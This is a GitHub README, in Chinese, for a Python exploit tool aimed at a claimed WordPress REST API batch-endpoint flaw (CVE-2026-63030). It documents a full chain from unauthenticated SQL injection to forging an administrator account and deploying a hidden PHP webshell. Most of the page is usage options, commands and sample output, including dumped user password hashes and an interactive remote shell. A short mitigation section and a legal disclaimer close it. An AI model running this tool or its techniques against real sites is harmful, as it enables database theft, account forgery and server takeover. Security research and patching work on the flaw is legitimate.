Ch4120N/CVE-2026-63030
GitHub: Ch4120N/CVE-2026-63030
针对 WordPress REST API 批处理端点路由混淆漏洞(CVE-2026-63030)的 Python PoC 利用工具,支持从漏洞检测到远程代码执行的完整攻击链。
Stars: 1 | Forks: 0
# CVE-2026-63030
[](https://cve.mitre.org/)
[](https://www.python.org/)
[](LICENSE)
[]()
## ⚠️ 法律免责声明
**本仓库及附带的工具(`exploit.py`)仅严格用于教育目的、授权的渗透测试和安全研究。**
未经明确、事先的书面同意,对目标使用此漏洞利用程序是非法的,并且违反了全球的计算机欺诈和滥用法。作者(**Ch4120N**)对因使用此代码而产生的任何滥用、损害或法律后果绝对不承担任何责任。请始终在法律范围内操作并获取适当的授权。
## 📖 漏洞概述:CVE-2026-63030
**CVE-2026-63030** 是一个严重的未授权漏洞,影响 WordPress REST API。它利用了嵌套批处理端点(`/wp-json/batch/v1` 或 `/?rest_route=/batch/v1`)中的**路由混淆漏洞**。
### 根本原因
当 WordPress 处理一批 REST API 请求时,它会在执行前根据特定的 schema 验证每个子请求。然而,由于内部路由指针处理故意格式错误的路径(例如,`///`)的方式存在缺陷,验证 schema 与实际的执行 handler 产生了不同步。
### 攻击链
1. **路由混淆与 SQLi:** 攻击者注入一个嵌套的 batch payload。这种不同步导致针对 `/wp/v2/users` 端点(不接受 `author_exclude`)的请求被 `/wp/v2/posts` handler 执行。未经清理的 `author_exclude` 参数被直接传递到 `WP_Query` 的 `author__not_in` 子句中,导致**未授权 SQL Injection**。
2. **Pre-Auth 管理员创建:** 使用 SQLi 读取数据库并识别 `oembed_cache` 文章 ID。然后,漏洞利用程序使用 Customizer `changeset` payload 污染导航菜单缓存,诱骗 WordPress 在现有管理员的上下文中执行用户创建请求。
3. **远程代码执行 (RCE):** 利用新伪造的管理员账号,该工具进行身份验证,上传一个随机的、基于 token 验证的 PHP webshell 插件,执行 OS 命令,并安全地清理所有痕迹。
### 受影响版本
* WordPress **6.9.0** 至 **6.9.4**
* WordPress **7.0.0** 至 **7.0.1**
*(注意:根据特定的插件配置和 REST API 的向后移植情况,旧版本可能也会受到攻击)。*
## 🚀 功能特点
* **零依赖:** 100% Python 3 标准库。无需 `pip install`。
* **单文件模块化:** 所有组件(Client、SQLi、Exploit、Shell、CLI)都整齐地组织在一个可移植的脚本(`exploit.py`)中。
* **多重 SQL 提取技术:** 自动回退到最快可用的方法:
1. **基于 UNION:** 通过伪造一个假的 `WP_Post` 行进行带内提取(每个值 1 个请求)。
2. **基于报错:** 如果启用了 `WP_DEBUG_DISPLAY`,则利用 `EXTRACTVALUE()` XPATH 错误。
3. **盲注布尔/时间:** 具有可配置 sleep 延迟的二分法字符提取。
* **自动化 Pre-Auth 桥接:** 无需现有凭据;该工具会即时创建自己的管理员账号。
* **临时 Webshell:** 生成唯一的插件 slug 和加密安全的 token。如果没有 token,shell 将拒绝执行,并在使用后自动销毁。
* **自动清理:** 退出时自动删除伪造的管理员账号并移除 webshell 插件目录。
* **交互式 REPL:** 提供一个维护远程工作目录状态的伪终端(支持 `cd`)。
## 📦 安装与要求
不需要第三方包。请确保您安装了 **Python 3.8 或更高版本**。
```
# Clone 仓库
git clone https://github.com/Ch4120N/CVE-2026-63030.git
cd CVE-2026-63030
# 使 script 可执行
chmod +x exploit.py
# 验证 Python 版本
python3 --version
# 执行 script
python3 exploit.py
```
## 💻 详细用法与选项
该漏洞利用程序分为三个主要的子命令:`check`、`read` 和 `shell`。
### 全局选项
这些选项适用于所有子命令:
| 选项 | 描述 | 默认值 |
| :--- | :--- | :--- |
| `url` | 目标基础 URL(例如,`http://target.com`) | *必填* |
| `--rest-route` | 使用 `/?rest_route=/batch/v1` 代替 `/wp-json/batch/v1`(适用于禁用了固定链接的网站)。 | `False` |
| `--timeout` | HTTP 请求超时时间(秒)。 | `30.0` |
| `--proxy` | HTTP/HTTPS 代理(例如,`http://127.0.0.1:8080`)。 | `None` |
### 1. `check` - 漏洞检测
安全地探测目标以确认是否存在路由混淆标记,并测试 SQLi 时间而不提取数据。
| 选项 | 描述 | 默认值 |
| :--- | :--- | :--- |
| `--sleep` | `--confirm-sqli` 回退使用的 SQL 时间延迟(秒)。 | `3.0` |
| `--samples` | 要测试的基线/延迟 SQL 时间对的数量。 | `3` |
| `--confirm-sqli` | 发送主动的 SQLi 确认 payload(会增加轻微延迟)。 | `False` |
### 2. `read` - 数据库提取
通过 SQL injection 直接从数据库中提取数据。
| 选项 | 描述 | 默认值 |
| :--- | :--- | :--- |
| `--preset` | 快速提取预设:`fingerprint`(版本/用户/数据库)或 `users`(登录名/哈希值)。 | `fingerprint` |
| `--query` | 执行自定义的标量 SQL 表达式(例如,`"SELECT @@version"`)。 | `None` |
| `--prefix` | 数据库表前缀。 | `wp_` |
| `--max-length` | 每个值提取的最大字符数。 | `128` |
| `--technique` | 提取技术:`auto`、`union`、`error` 或 `blind`。 | `auto` |
### 3. `shell` - 远程代码执行
部署 webshell 并执行命令。如果未提供凭据,它将自动触发 pre-auth 管理员创建桥接。
| 选项 | 描述 | 默认值 |
| :--- | :--- | :--- |
| `--user` | 管理员用户名。(省略以使用 pre-auth 桥接)。 | `None` |
| `--password` | 管理员密码。(省略以使用 pre-auth 桥接)。 | `None` |
| `--cmd` | 在目标上运行的单个命令。 | `None` |
| `-i`, `--interactive`| 部署后打开一个交互式 shell (REPL)。 | `False` |
## 🖥️ 执行证据与示例
以下是该工具实际操作的示例。
### 示例 1:检查漏洞
```
$ python3 exploit.py check http://vulnerable-wordpress.local --confirm-sqli
[*] WordPress markers found (wp-content / wp-includes / wp-json)
[*] Public WordPress version hints:
- 6.9.2 via REST API generator (exploit affected range) - WordPress 6.9.2
[!] A public version hint falls in the exploit affected range; verify internally or confirm with authorization.
[*] Batch probe -> HTTP 207; markers matched: parse_path_failed, block_cannot_read, rest_batch_not_allowed
[+] VULNERABLE — batch route-confusion behavior detected.
[*] Sending active SQLi confirmation payload...
[+] SQLi confirmed — UNION fake-post read returned data.
```
### 示例 2:提取数据库指纹
```
$ python3 exploit.py read http://vulnerable-wordpress.local --preset fingerprint --technique union
[+] UNION extraction available (in-band, one request per value) — using it.
[+] MySQL version: 10.6.12-MariaDB-0ubuntu0.22.04.1
[+] Database user: wp_user@localhost
[+] Database name: wordpress_db
[*] 3 request(s) sent.
```
### 示例 3:导出用户凭据
```
$ python3 exploit.py read http://vulnerable-wordpress.local --preset users --prefix wp_
[+] UNION extraction available (in-band, one request per value) — using it.
[*] 3 user(s) in wp_users.
1|admin|$P$Bx8vT9qZ2mK5jL8nP3rY7wE1cV0xZ
2|editor|$P$B9zX8vT2mK5jL8nP3rY7wE1cV0xZq
5|subscriber|$P$Bx8vT9qZ2mK5jL8nP3rY7wE1cV0xZqZ
[*] 15 request(s) sent.
```
### 示例 4:获取交互式 Shell(Pre-Auth)
*请注意该工具是如何自动创建管理员账号、部署 shell 并在退出后进行清理的。*
```
$ python3 exploit.py shell http://vulnerable-wordpress.local --interactive
[!] This uploads a plugin containing a webshell to the target.
[!] No credentials supplied; attempting pre-auth administrator creation.
[*] Creating administrator through the SQLi-to-customizer bridge...
Extracting table name...
Finding source admin ID...
Seeding oEmbed cache...
Forging changeset payload...
[+] Administrator created: wp2_a8f3b2c1
[*] Authenticating as 'wp_a8f3b2c1'...
[+] Authenticated.
[*] Deploying webshell plugin...
[+] Webshell: http://vulnerable-wordpress.local/wp-content/plugins/wp_9f8e7d6c/wp_9f8e7d6c.php
[*] Interactive shell — type commands, 'exit' or Ctrl-D to quit.
/var/www/html $ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/var/www/html $ cd /tmp
/tmp $ cat flag.txt
FLAG{r0ut3_c0nfus10n_1s_d4ng3r0us}
/tmp $ exit
[*] Deleting generated administrator...
[+] Generated administrator removed from the target.
[*] Cleaning up webshell...
[+] Webshell removed from the target.
```
## 🧠 技术深入剖析
### 不同步启动器 (Desync Primer)
漏洞利用的核心在于注入 `_DESYNC_PRIMER = {"method": "POST", "path": "///"}`。这个无效的 URL 强制 WordPress 的内部路由为第一个子请求生成一个 `WP_Error`。这改变了内部指针的指向,导致*第二个*子请求针对某一个 schema 进行验证,但却由*第三个*子请求的 handler 执行。这就将 `author_exclude` 参数走私到了 `WP_Query` 中。
### UNION 伪造文章 原语
为了避免缓慢的盲注 SQLi,该工具使用 `UNION SELECT` 来注入一个完整的、伪造的 `wp_posts` 行。通过设置 `orderby=none` 和 `per_page=500`,它可以防止 `WP_Query` 拆分查询。注入的 `post_title` 包含了目标 SQL 表达式的十六进制编码结果,并用 `||` 分隔符包裹,然后直接反映在 REST API JSON 响应中。
### Webshell OpSec
部署的 PHP 插件旨在实现极高的隐蔽性:
* 随机化的目录和文件名(例如,`wp_a1b2c3d4.php`)。
* 需要通过 GET 参数传递 32 个字符的十六进制 token (`t`) 和命令 (`c`)。
* 使用 `hash_equals()` 来防止对 token 的时序攻击。
* 自动更改目录 (`chdir`) 以防止路径泄露。
* 输出被包裹在 `EXPLOIT::...::END` 标记中,以便 Python client 进行干净的解析。
## 🛡️ 缓解与修复
1. **更新 WordPress**:立即升级到 WordPress **7.0.2** 或更高版本,其中包含针对 CVE-2026-63030 的补丁。
2. **禁用批处理端点**:如果不需要明确使用批处理端点,请通过必须使用的插件(`mu-plugins`)禁用它:
add_filter( 'rest_request_before_callbacks', function( $response, $handler, $request ) {
if ( $request->get_route() === '/batch/v1' ) {
return new WP_Error( 'rest_disabled', 'Batch endpoint disabled', array( 'status' => 403 ) );
}
return $response;
}, 10, 3 );
3. **Web Application Firewall (WAF)**:实施规则以阻止:
* URI 中包含 `author_exclude` 的嵌套 `/batch/v1` 请求。
* URL 参数中包含 `UNION`、`SLEEP()` 或 `EXTRACTVALUE` 的请求。
* REST API 请求中类似 `///` 的格式错误路径。
4. **禁用 WP_DEBUG_DISPLAY**:确保在 `wp-config.php` 中将 `WP_DEBUG_DISPLAY` 设置为 `false`,以防止基于报错的 SQLi 泄露。
## 📜 鸣谢与致谢
* **漏洞研究与利用程序开发**:[**Ch4120N**](https://github.com/Ch4120N)
* **概念灵感**:WordPress REST API 路由混淆、oembed_cache 污染以及 Customizer changeset 原语。
标签:CISA项目, PoC, Python, WordPress, 无后门, 暴力破解, 网络安全, 隐私保护